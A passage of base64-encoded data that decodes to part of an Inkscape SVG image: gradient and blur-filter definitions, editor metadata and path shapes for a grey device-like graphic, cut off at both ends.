vcCBpZD0ic3RvcDY2MDUiIG9mZnNldD0iMSIgY2xhc3M9InM0Ii8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTUyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDg5IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjI1OTQ4NzU3LDAuOTYyMzExODIsLTAuOTY4NDIwNzksMC4yNTc4NTA2OCwtMzM3LjMwODM1LDEwODMuMDE5NCkiIHgxPSItNTc1LjkiIHkxPSItNzU1LjIiIHgyPSItNzY0LjIiIHkyPSItNzIxLjkiLz48ZmlsdGVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImZpbHRlcjY4NDYiIHg9IjAiIHdpZHRoPSIxIiB5PSItMC43IiBoZWlnaHQ9IjIuNCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj48ZmVHYXVzc2lhbkJsdXIgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBzdGREZXZpYXRpb249IjAuNiIgaWQ9ImZlR2F1c3NpYW5CbHVyNjg0OCIvPjwvZmlsdGVyPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDQ1NTIiIGlkPSJsaW5lYXJHcmFkaWVudDcwODciIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw5MDAuNzY5OTEpIiB4MT0iLTcwMiIgeTE9Ii04MDYuMSIgeDI9Ii03MDguMSIgeTI9Ii03NjYiLz48ZmlsdGVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImZpbHRlcjY1NTkiIHg9IjAiIHdpZHRoPSIxIiB5PSIwIiBoZWlnaHQ9IjEiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+PGZlR2F1c3NpYW5CbHVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgc3RkRGV2aWF0aW9uPSIwLjIiIGlkPSJmZUdhdXNzaWFuQmx1cjY1NjEiLz48L2ZpbHRlcj48cmFkaWFsR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NTE5IiBpZD0icmFkaWFsR3JhZGllbnQ3MDg1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjIwODg4NzU0LDAuOTc3OTM5NjcsLTAuODY5NDg3MTEsMC4xODU3MjIxMiwtMTI3Ny4yNTM3LDMxLjMxNjMzNikiIGN4PSItNzA2LjQiIGN5PSItODI2LjIiIGZ4PSItNzA2LjQiIGZ5PSItODI2LjIiIHI9IjU1LjkiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2NTE5Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjUyMSIgc3R5bGU9InN0b3AtY29sb3I6I2U0ZTVlNTtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A2NTIzIiBzdHlsZT0ic3RvcC1jb2xvcjojZTRlNWU1O3N0b3Atb3BhY2l0eTowIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTQyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDgzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgxLDAsMCwxLjQ0NzAyNzksODQwLjk0NzIzLDEyMzguOTcwNikiIHgxPSItNDkwLjgiIHkxPSItNzg5LjQiIHgyPSItNDkwLjgiIHkyPSItNzYwLjUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ0NTQyIj48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNDYxNCIgc3R5bGU9InN0b3AtY29sb3I6I2ZmZmZmZjtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A0NjE2IiBjbGFzcz0iczQiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY0MjMiIGlkPSJsaW5lYXJHcmFkaWVudDcwODEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTYxNC42IiB5MT0iLTU4My41IiB4Mj0iLTgwMi42IiB5Mj0iLTU4NC40IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw4OTkuODE1NTMpIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjQyMyI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY0MjUiIGNsYXNzPSJzMiIvPjxzdG9wIGlkPSJzdG9wNjQzMSIgb2Zmc2V0PSIwLjciIGNsYXNzPSJzMyIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A2NDI3IiBjbGFzcz0iczQiLz48L2xpbmVhckdyYWRpZW50PjxyYWRpYWxHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY2NTEiIGlkPSJyYWRpYWxHcmFkaWVudDcwNzkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC0xLjE3MjUzNzYsMS41ODY1MzUxLC0xLjM1NjgyMzYsLTEuMDAyNzY3OSwtMTU5Ny41MDE2LDY4My4wMzY2NikiIGN4PSItNzA2LjgiIGN5PSItNjY4LjEiIGZ4PSItNzA2LjgiIGZ5PSItNjY4LjEiIHI9IjEyNS42Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjY1MSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY2NTMiIHN0eWxlPSJzdG9wLWNvbG9yOiMyYzJlMmQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjY1NSIgc3R5bGU9InN0b3AtY29sb3I6IzkyOTY5NTtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGZpbHRlciBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIGlkPSJmaWx0ZXI2NzA3IiB4PSIwIiB3aWR0aD0iMSIgeT0iMCIgaGVpZ2h0PSIxIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPjxmZUdhdXNzaWFuQmx1ciBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHN0ZERldmlhdGlvbj0iMS4yIiBpZD0iZmVHYXVzc2lhbkJsdXI2NzA5Ii8+PC9maWx0ZXI+PHJhZGlhbEdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjY1MSIgaWQ9InJhZGlhbEdyYWRpZW50NzA3NyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoLTEuMzgxNjE3OCwxLjI4NDkwMjIsLTEuMTk5NTE0LC0xLjI4OTgwMjMsLTI0NzguODg5OCwtNjIxLjcyODIzKSIgY3g9Ii03MDYuOCIgY3k9Ii02NjguMSIgZng9Ii03MDYuOCIgZnk9Ii02NjguMSIgcj0iMTI1LjYiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTQyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDc1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjcwMjgwNDkzLDAsMCwtMS45NDg4NDU2LDY4OS42MDQwNiwtMTE4Ni41Njc2KSIgeDE9Ii00OTAuOCIgeTE9Ii03NzYuMyIgeDI9Ii00OTAuOCIgeTI9Ii03NjAuNSIvPjxyYWRpYWxHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY3MjkiIGlkPSJyYWRpYWxHcmFkaWVudDcwNzMiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDAuOTcyMDY2MywwLjAyMjU4NDA2LC0wLjAxNjgxODcxLDAuNzIzOTA5NzUsNzQ1LjQ1MzgsMzYyLjI0NTI5KSIgY3g9Ii0zODAuNiIgY3k9IjIyMy4yIiBmeD0iLTM4MC42IiBmeT0iMjIzLjIiIHI9IjMyMS4yIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjcyOSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY3MzEiIHN0eWxlPSJzdG9wLWNvbG9yOiMxYTFjMWE7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjczMyIgc3R5bGU9InN0b3AtY29sb3I6IzJjMmUyZDtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50Njg1MCIgaWQ9ImxpbmVhckdyYWRpZW50NzA3MSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMS4wNTY4NzQxLDAsMCwtMS45NDg4NDU2LDg1Ni4wNDM4OSwtMTM2NC43MzI5KSIgeDE9Ii00OTAuNSIgeTE9Ii03ODAuMSIgeDI9Ii00OTAuNSIgeTI9Ii03NTYuNiIvPjxsaW5lYXJHcmFkaWVudCBpZD0ibGluZWFyR3JhZGllbnQ2ODUwIiBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiPjxzdG9wIGlkPSJzdG9wNjg1MiIgb2Zmc2V0PSIwIiBjbGFzcz0iczQiLz48c3RvcCBpZD0ic3RvcDY4NTQiIG9mZnNldD0iMSIgc3R5bGU9InN0b3AtY29sb3I6IzdhN2Y3ZTtzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PHJhZGlhbEdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjUxOSIgaWQ9InJhZGlhbEdyYWRpZW50NzA2OSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMC4yMDg4ODc1NCwwLjk3NzkzOTY3LC0wLjg2OTQ4NzExLDAuMTg1NzIyMTIsLTEyNzcuMjUzNywzMS4zMTYzMzYpIiBjeD0iLTcwNi40IiBjeT0iLTgyNi4yIiBmeD0iLTcwNi40IiBmeT0iLTgyNi4yIiByPSI1NS45Ii8+PC9kZWZzPjxzb2RpcG9kaTpuYW1lZHZpZXcgaWQ9ImJhc2UiIHBhZ2Vjb2xvcj0iI2ZmZmZmZiIgYm9yZGVyY29sb3I9IiM2NjY2NjYiIGJvcmRlcm9wYWNpdHk9IjEiIGlua3NjYXBlOnBhZ2VvcGFjaXR5PSIwIiBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIiBpbmtzY2FwZTp6b29tPSIxIiBpbmtzY2FwZTpjeD0iNDAxLjMiIGlua3NjYXBlOmN5PSIxOTUuNiIgaW5rc2NhcGU6ZG9jdW1lbnQtdW5pdHM9InB4IiBpbmtzY2FwZTpjdXJyZW50LWxheWVyPSJnODQ2NyIgc2hvd2dyaWQ9ImZhbHNlIiBpbmtzY2FwZTp3aW5kb3ctd2lkdGg9IjE2MTUiIGlua3NjYXBlOndpbmRvdy1oZWlnaHQ9IjEwMjYiIGlua3NjYXBlOndpbmRvdy14PSI2NSIgaW5rc2NhcGU6d2luZG93LXk9IjI0IiBpbmtzY2FwZTp3aW5kb3ctbWF4aW1pemVkPSIxIi8+PG1ldGFkYXRhIGlkPSJtZXRhZGF0YTc0NjkiPjxyZGY6UkRGPjxjYzpXb3JrIHJkZjphYm91dD0iIj48ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD48ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+PC9jYzpXb3JrPjwvcmRmOlJERj48L21ldGFkYXRhPjxnIGlua3NjYXBlOmxhYmVsPSJDYXBhIDEiIGlua3NjYXBlOmdyb3VwbW9kZT0ibGF5ZXIiIGlkPSJsYXllcjEiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAsLTU1Ni4yOTkyNSkiPjxnIGlkPSJnODQ2NyIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoOC43NTkwNDQzLDQ5Ny42ODI4NCkiPjxwYXRoIGlkPSJwYXRoNDM2MCIgZD0ibTE3OS40IDExMC44IDAgMTIuNSAxNzcuNyAwIDMyLjEgMCAxODYuMyAwLjEgMC0xMi42LTM5Ni4xIDB6IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSIjOTI5Njk1Ii8+PGcgaWQ9Imc2ODYxIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMzIyLjA4NjEsODk4Ljc0NTM3KSI+PHBhdGggZD0ibS03NDAuNC04MjUuOGMyMS45LTEwLjggNDkuMi0xMC44IDcxLjEgMCAzLjMgMS42IDcuNiA0LjEgNy42IDkuMWwwIDcuN2MwIDUtMy40IDkuMS03LjYgOS4xbC03MS4xIDBjLTQuMiAwLTcuNi00LjEtNy42LTkuMWwwLTcuN2MwLTUgNC4zLTcuNSA3LjYtOS4xeiIgaWQ9InBhdGg2ODYzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImFhc3Nzc3NzYSIgZmlsbD0iIzJiMzIzNiIvPjxwYXRoIGQ9Im0tNzM5LjItODI1LjZjMjEuMi0xMC40IDQ3LjUtMTAuNCA2OC43IDAgMy4yIDEuNiA3LjQgMy45IDcuNCA4LjhsMCA3LjVjMCA0LjktMy4zIDguOC03LjQgOC44bC02OC43IDBjLTQuMSAwLTcuNC0zLjktNy40LTguOGwwLTcuNWMwLTQuOSA0LjItNy4yIDcuNC04Ljh6IiBpZD0icGF0aDY4NjUiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iYWFzc3Nzc3NhIiBjbGFzcz0iczgiLz48cGF0aCBkPSJtLTc1MS42LTgxMi4xYzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgaWQ9InBhdGg2ODY3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9InVybCgjcmFkaWFsR3JhZGllbnQ3MDY5KSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iYWFzc3Nzc3NhIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY4NjkiIGQ9Im0tNzM5LjUtODI1LjJjMjEuNC0xMC40IDQ4LjItMTAuNCA2OS42IDAgMy4zIDEuNiA3LjUgMy45IDcuNSA4LjhsMCA3LjVjMCA0LjktMy4zIDguOC03LjUgOC44bC02OS42IDBjLTQuMSAwLTcuNS0zLjktNy41LTguOGwwLTcuNWMwLTQuOSA0LjItNy4yIDcuNS04Ljh6IiBmaWxsPSIjMTcxYjFkIi8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY4NzEiIGQ9Im0tNzUxLjYtODEwLjhjMCAwIDE4LjEtMTMuNCA0NS45LTEzLjUgMzAuNC0wLjIgNDQuNCAxMy41IDQ0LjQgMTMuNSAzLjcgMi44IDYuOSAzLjkgNy4zIDguN2wzLjQgMzkuM2MwLjQgNC44LTMuMyA4LjctNy4zIDguN2wtOTcuMSAwYy00LjEgMC03LjctMy45LTcuMy04LjdsMy40LTM5LjNjMC40LTQuOCAyLjctNS45IDcuMy04Ljd6IiBmaWxsPSIjY2NjZWNlIi8+PHBhdGggZD0ibS03NTEuNi04MDkuOWMwIDAgMTguMS0xMy40IDQ1LjktMTMuNSAzMC40LTAuMiA0NC40IDEzLjUgNDQuNCAxMy41IDMuNyAyLjggNi45IDMuOSA3LjMgOC43bDMuNCAzOS4zYzAuNCA0LjgtMy4zIDguNy03LjMgOC43bC05Ny4xIDBjLTQuMSAwLTcuNy0zLjktNy4zLTguN2wzLjQtMzkuM2MwLjQtNC44IDIuNy01LjkgNy4zLTguN3oiIGlkPSJwYXRoNjg3MyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjOTI5Njk1Ii8+PC9nPjxwYXRoIGQ9Im0xNTcuMiAxMjMuMSAwIDE2NC4zTDUuMSAyMTYuNGMwIDAtMTEuNCAyMDIuNi0xMi4zIDIxMy44LTEgMTIgMC40IDg1LjkgNDQuNCAxMDcuOSA5Mi43IDQ2LjIgMTMzLjktNzkuMiAxMzMuOS03OS4yIDAgMCAzMi41LTcyIDU1LTEwNCA0LTUuNyA2LjctMTAuNiA5LjgtMTQuMiAxLjMtMS42IDMuNi0yLjQgNC44LTIuOSAzLjMtMS42IDguOS0yLjcgOC45LTIuNyA4My44IDIuNCAxNjIuOCAxLjcgMjQ3IDAgMCAwIDUuNyAxLjEgOC45IDIuNyAxLjYgMC44IDQuNSAyIDYuMSAzLjggMyAzLjQgNS41IDggOS4yIDEzLjMgMjIuNiAzMiA1NC43IDEwNC4xIDU0LjcgMTA0LjEgMCAwIDQxLjIgMTI1LjQgMTMzLjkgNzkuMiA0NC0yMS45IDQyLjktOTUuOSA0MS45LTEwOC0wLjktMTEuMi0xMC43LTIwNi44LTEwLjctMjA2LjhsLTE1MS45IDY0LjQgMC0xNjQuNi0xOTkuNi0wLjEtMzIuMSAweiIgaWQ9InBhdGg2ODc1IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY3NzY3NzY2NjY3NzY3NzY2NjY2NjIiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggZD0ibTcwLjMgMjg5LjQgMCAyNTQuNGM2OS41IDYuMiAxMDAuOC04OS4xIDEwMC44LTg5LjEgMCAwIDMyLjUtNzIgNTUtMTA0IDQtNS43IDYuNy0xMC42IDkuOC0xNC4yIDEuMy0xLjYgMy42LTIuNCA0LjgtMi45IDMuMy0xLjYgOC45LTIuNyA4LjktMi43IDgzLjggMi40IDE2Mi44IDEuNyAyNDcgMCAwIDAgNS43IDEuMSA4LjkgMi43IDEuNiAwLjggNC41IDIgNi4xIDMuOCAzIDMuNCA1LjUgOCA5LjIgMTMuMyAyMi42IDMyIDU0LjcgMTA0LjEgNTQuNyAxMDQuMSAwIDAgNDEuMiAxMjUuNCAxMzMuOSA3OS4yIDEuMS0wLjYgMi4yLTEuMiAzLjMtMS44bDAtMjQyLjctNjQyLjUgMHoiIGlkPSJwYXRoNjg3OSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc3R5bGU9ImZpbGw6dXJsKCNyYWRpYWxHcmFkaWVudDcwNzMpO29wYWNpdHk6MSIvPjxwYXRoIGQ9Im0yMzkuOSAzMTYuOWM4OS44IDUuNyAxNzguNyAyLjIgMjYzLjItMC43IDEuOS0wLjEgNC4xLTAuNSA1LjItMy40IDAuMS0wLjIgMC4xLTAuNCAwLjItMC42IDAuNi0zLjEtMi4yLTguOS0yLjktMTIuNS0wLjgtMy45LTIuNS0xMC42LTIuNS0xMC42bC0yNTEuOS0zLjhjMCAwLTE1LjkgMTMuNi0xOC4zIDIzLjMtMC41IDEuOS0wLjIgNC4yIDAuNyA1LjggMC43IDEuMiA0LjIgMi41IDYuNCAyLjZ6IiBpZD0icGF0aDY4ODEiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3NjY3NzcyIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcwNzUpO29wYWNpdHk6MCIvPjxwYXRoIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGQ9Im0xNzkuNCAxMTAuOCAwIDEyLjUgMTc3LjcgMCAzMi4xIDAgMTg2LjMgMC4xIDAtMTIuNi0zOTYuMSAweiIgaWQ9InBhdGg2ODc3IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA3MSkiLz48cGF0aCBkPSJtLTU3Ny40LTY2OC4xYTEyMy42IDEyNC42IDAgMCAxLTEyMy42IDEyNC42IDEyMy42IDEyNC42IDAgMCAxLTEyMy42LTEyNC42IDEyMy42IDEyNC42IDAgMCAxIDEyMy42LTEyNC42IDEyMy42IDEyNC42IDAgMCAxIDEyMy42IDEyNC42eiIgaWQ9InBhdGg2ODgzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiB0cmFuc2Zvcm09Im1hdHJpeCgtMSwwLDAsMSwtOTMuNjM1NTEzLDg5OS44MTU1MykiIHN0eWxlPSJmaWxsOnVybCgjcmFkaWFsR3JhZGllbnQ3MDc3KTtmaWx0ZXI6dXJsKCNmaWx0ZXI2NzA3KSIvPjxwYXRoIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjg4NSIgZD0iTTI2MS4zIDIzMS43QTEyMy42IDEyNC42IDAgMCAxIDEzNy43IDM1Ni4zIDEyMy42IDEyNC42IDAgMCAxIDE0IDIzMS43IDEyMy42IDEyNC42IDAgMCAxIDEzNy43IDEwNy4xIDEyMy42IDEyNC42IDAgMCAxIDI2MS4zIDIzMS43WiIgc3R5bGU9ImZpbGw6dXJsKCNyYWRpYWxHcmFkaWVudDcwNzkpO2ZpbHRlcjp1cmwoI2ZpbHRlcjY3MDcpIi8+PHBhdGggZD0ibTEyLjcgMzAxYzAgMC0yMi41IDEzOS41LTEzLjUgMTQ0LjkgOSA1LjQgMzMuMyA4NC4xIDM3LjggODguNiA0LjUgNC41IDI0LjkgMjQuMSA3MiA3LjIgNDcuMS0xNi45IDE0My4xLTIzNi4yIDE0My4xLTIzNi4yTDMxLjYgMjc1LjlaIiBpZD0icGF0aDY4ODciIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3NzemNjYyIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcwODEpIi8+PHJlY3QgaWQ9InJlY3Q2ODg5IiB3aWR0aD0iMzc0LjgiIGhlaWdodD0iMjAuMiIgeD0iMjAwLjciIHk9IjEyMy4yIiBzdHlsZT0iZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzA4Myk7b3BhY2l0eToxIi8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODkxIiBkPSJNMjU3LjUgMjI3QTEyNi41IDEyNy41IDAgMCAxIDEzMSAzNTQuNiAxMjYuNSAxMjcuNSAwIDAgMSA0LjUgMjI3IDEyNi41IDEyNy41IDAgMCAxIDEzMSA5OS41IDEyNi41IDEyNy41IDAgMCAxIDI1Ny41IDIyN1oiIGZpbGw9IiM5Mjk2OTUiLz48ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSg4MzguNzIwMzUsODk5LjgxNTUzKSIgaWQ9Imc2ODkzIj48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImFhc3Nzc3NzYSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODk1IiBkPSJtLTc0MC40LTgyNS44YzIxLjktMTAuOCA0OS4yLTEwLjggNzEuMSAwIDMuMyAxLjYgNy42IDQuMSA3LjYgOS4xbDAgNy43YzAgNS0zLjQgOS4xLTcuNiA5LjFsLTcxLjEgMGMtNC4yIDAtNy42LTQuMS03LjYtOS4xbDAtNy43YzAtNSA0LjMtNy41IDcuNi05LjF6IiBmaWxsPSIjMmIzMjM2Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJhYXNzc3Nzc2EiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjg5NyIgZD0ibS03MzkuMi04MjUuNmMyMS4yLTEwLjQgNDcuNS0xMC40IDY4LjcgMCAzLjIgMS42IDcuNCAzLjkgNy40IDguOGwwIDcuNWMwIDQuOS0zLjMgOC44LTcuNCA4LjhsLTY4LjcgMGMtNC4xIDAtNy40LTMuOS03LjQtOC44bDAtNy41YzAtNC45IDQuMi03LjIgNy40LTguOHoiIGNsYXNzPSJzOCIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODk5IiBkPSJtLTc1MS42LTgxMi4xYzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgZmlsbD0idXJsKCNyYWRpYWxHcmFkaWVudDcwODUpIi8+PHBhdGggZD0ibS03MzkuNS04MjUuMmMyMS40LTEwLjQgNDguMi0xMC40IDY5LjYgMCAzLjMgMS42IDcuNSAzLjkgNy41IDguOGwwIDcuNWMwIDQuOS0zLjMgOC44LTcuNSA4LjhsLTY5LjYgMGMtNC4xIDAtNy41LTMuOS03LjUtOC44bDAtNy41YzAtNC45IDQuMi03LjIgNy41LTguOHoiIGlkPSJwYXRoNjkwMSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJhYXNzc3Nzc2EiIGZpbGw9IiMxNzFiMWQiLz48cGF0aCBkPSJtLTc1MS42LTgxMC44YzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgaWQ9InBhdGg2OTAzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9IiNjY2NlY2UiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjkwN